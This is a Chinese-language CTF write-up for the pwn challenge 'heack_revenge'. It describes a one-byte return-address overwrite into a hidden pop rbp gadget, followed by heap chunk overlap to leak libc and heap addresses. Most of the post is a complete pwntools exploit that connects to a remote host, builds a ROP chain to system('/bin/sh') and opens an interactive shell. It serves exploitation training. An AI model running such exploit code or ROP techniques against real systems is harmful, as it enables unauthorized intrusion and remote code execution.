L3 pwn
heack_revenge
这个题比赛中没做出来,赛后复现一下
这个题第一步就卡住我了,(
我还是太菜了),这个题通过修改索引可以溢出到ret地址,但是最多只能覆盖一个字节,也就是说,要在0x1800~0x1900这段代码内寻找有用的gadget,结果这个题在0x186a这个地方藏了一个pop rbp,这个是解题的关键
通过pop rbp之后,调试可以发现,rbp会指向index为0的chunk,而且可以通过修改hp,attack,可以修改chunk头中的size部分,实现堆叠,堆风水布局可以泄露libc和heap
泄露libc后,在上图rbp指向的chunk中写入rop链,ret时便可以劫持程序执行流,get_shell !!!
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121from pwn import *
import tty
context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "190"]
libc_base=0x0
heap_base=0x0
pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())
def fight(concent):
ru(b'> ')
sl(b'1')
ru(b'You grip your sword and shout:')
sl(concent)
def attack():
ru(b'> ')
sl(b'2')
def hp():
ru(b'> ')
sl(b'3')
def show():
ru(b'> ')
sl(b'4')
def note():
sla(b'> ',b'5')
def add(index,size,concent):
sla(b'Choose an option: ',b'1')
sla(b'Enter index (0-15): ',str(index).encode())
sa(b'Enter diary content size (1-2048): ',str(size).encode())
sla(b'Input your content: ',concent)
def uaf(index,size):
global p
sla(b'Choose an option: ',b'1')
sla(b'Enter index (0-15): ',str(index).encode())
sla(b'Enter diary content size (1-2048): ',str(size).encode())
ru(b'Input your content: ')
p.send(chr(tty.CEOF))
ru(b'Read failed!')
def free(index):
sla(b'Choose an option: ',b'2')
sla(b'Enter index to destroy (0-15): ',str(index).encode())
def view(index):
sla(b'Choose an option: ',b'3')
sla(b'Enter index to view (0-15): ',str(index).encode())
def esc():
sla(b'Choose an option: ',b'4')
libc=ELF('./libc.so.6')
#p = process("./vul2")
p=remote('43.138.2.216',19999)
note()
add(3,0x10,b'a')
add(4,0x10,b'a')
add(6,0x10,b'a')
add(7,0x10,b'a')
add(0,0x50,b'a')
add(5,0x400,b'a')
add(10,0x3f0,b'a')
add(13,0x500,b'a')
add(11,0x10,b'a')
free(13)
free(10)
free(3)
esc()
fight(b'A' * (259 - 0xe0) + b'\x37' + b'\x6A')
hp()
hp()
hp()
hp()
for i in range(7):
attack()
note()
view(2)
ru(b'---\n')
heap_base=(u64(p.recv(5).ljust(8,b'\x00')))<<12
print(hex(heap_base))
add(4,0x10,p64(he(0xb90))+p64(he(0x300)))
view(6)
ru(b'---\n')
libc_base=uu64()-0x203b20
print(hex(libc_base))
free(7)
rdi=li(0x000000000010f75b)
system,binsh=getshell()
payload=b'a'*0x28+p64(rdi+1)*0x81+p64(rdi)+p64(binsh)+p64(system)
add(7,0x480,payload)
esc()
ru(b'> ')
sl(b'6')
shell()(我的堆风水比较麻烦,官方wp堆风水只需要泄露libc即可,不需要泄露heap,官方wp)
评论